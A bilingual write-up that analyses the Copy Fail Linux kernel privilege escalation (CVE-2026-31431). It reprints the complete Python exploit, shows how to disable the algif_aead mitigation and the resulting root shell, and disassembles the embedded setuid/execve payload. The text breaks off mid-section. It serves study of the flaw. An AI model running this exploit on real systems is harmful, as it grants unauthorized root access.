CVE-2026-31431 (Copy Fail) — Análisis y desarrollo en Ensamblador x86-64 | Analysis and development in x86-64 Assembly
Based on the source code published in Theori, we will do several exercises until we fully convert it to pure Assembly language (without external libraries).```python #!/usr/bin/env python3
import os as g,zlib,socket as s def d(x):return bytes.fromhex(x) def c(f,t,c): a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"4+c],[(h,3,i4),(h,2,b'\x10'+i19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) try:u.recv(8+t) except:0 f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3")) while i<len(e):c(f,i,e[i:i+4]);i+=4 g.system("su")
## Testing environment
We will perform the exercise on the following machine.```bash
> $ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 24.04.4 LTS
Release: 24.04
Codename: noble
> $ uname -rm
6.19.4-061904-generic x86_64
We run the Python program to validate if the system is vulnerable. If it gives an error, it is not vulnerable; if it opens the sh shell, it is vulnerable.```bash
$ python3 copyfail.py Traceback (most recent call last): File "/home/gmg/copy.fail/copyfail.py", line 11, in while i<len(e):c(f,i,e[i:i+4]);i+=4 ^^^^^^^^^^^^^^^ File "/home/gmg/copy.fail/copyfail.py", line 7, in c a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"4+c],[(h,3,i4),(h,2,b'\x10'+i19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ FileNotFoundError: [Errno 2] No such file or directory
### Disable mitigation
On this machine, the mitigation was downloaded via automatic security updates, which is why it failed. To test it, we lowered the defense by renaming the file where the mitigation is located.```bash
# Buscar si existe un modprobe explícito
> $ grep -r "algif" /etc/modprobe.d/
/etc/modprobe.d/disable-algif_aead.conf:# Disable algif_aead module due to CVE-2026-31431 (AKA copy.fail)
/etc/modprobe.d/disable-algif_aead.conf:install algif_aead /bin/false
# Renombrar el archivo donde se encuentra la mitigación
> $ sudo mv /etc/modprobe.d/disable-algif_aead.conf /etc/modprobe.d/disable-algif_aead.conf.bak
We test the program again and now, it returns the shell and we verify that we are root.```bash
$ python3 copyfail.py
uid=0(root) gid=1000(gmg) groups=1000(gmg),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
### Reactivate protection
Once the exercise is finished, run the following to reactivate protection:```bash
> $ sudo mv /etc/modprobe.d/disable-algif_aead.conf.bak /etc/modprobe.d/disable-algif_aead.conf
> $ sudo modprobe -r algif_aead
> $ sudo sync && echo 3 | sudo tee /proc/sys/vm/drop_caches
The first thing we need to analyze is what the string compressed with zlib is about. For that we create a Python program, decompress.py, that decompresses it and generates a file: output.bin.```python
import zlib
hex_data = "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
data = zlib.decompress(bytes.fromhex(hex_data))
with open("output.bin", "wb") as f: f.write(data)
print(f"Archivo generado: output.bin ({len(data)} bytes)")
We execute and analyze the file type.```bash
> $ python3 decompress.py
Archivo generado: output.bin (160 bytes)
> $ file output.bin
output.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
Now that we know it is an ELF 64-bit LSB executable, let's investigate it.```bash
$ readelf -a output.bin ELF Header: Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 Class: ELF64 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: Advanced Micro Devices X86-64 Version: 0x1 Entry point address: 0x400078 Start of program headers: 64 (bytes into file) Start of section headers: 0 (bytes into file) Flags: 0x0 Size of this header: 64 (bytes) Size of program headers: 56 (bytes) Number of program headers: 1 Size of section headers: 0 (bytes) Number of section headers: 0 Section header string table index: 0
There are no sections in this file.
There are no section groups in this file.
Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000 0x000000000000009e 0x000000000000009e R E 0x1000
There is no dynamic section in this file.
There are no relocations in this file. No processor specific unwind information to decode
Dynamic symbol information is not available for displaying symbols.
No version information found in this file.
The ELF structure occupies **120 bytes**: **ELF header** (64 bytes) + **Program header** (56 bytes). The machine code starts at byte 120 (0x78), which matches the **Entry point address: 0x400078**.
### Disassembly of the code
Having the **Entry point address: 0x400078**, we can now start disassembling the code.```bash
> $ objdump -D -b binary -m i386:x86-64 -M intel -z --start-address=0x78 output.bin
output.bin: file format binary
Disassembly of section .data:
0000000000000078 <.data+0x78>:
78: 31 c0 xor eax,eax
7a: 31 ff xor edi,edi
7c: b0 69 mov al,0x69
7e: 0f 05 syscall
80: 48 8d 3d 0f 00 00 00 lea rdi,[rip+0xf] # 0x96
87: 31 f6 xor esi,esi
89: 6a 3b push 0x3b
8b: 58 pop rax
8c: 99 cdq
8d: 0f 05 syscall
8f: 31 ff xor edi,edi
91: 6a 3c push 0x3c
93: 58 pop rax
94: 0f 05 syscall
96: 2f (bad)
97: 62 69 6e 2f 73 (bad)
9c: 68 .byte 0x68
9d: 00 00 add BYTE PTR [rax],al
9f: 00 .byte 0
Explanation of each parameter: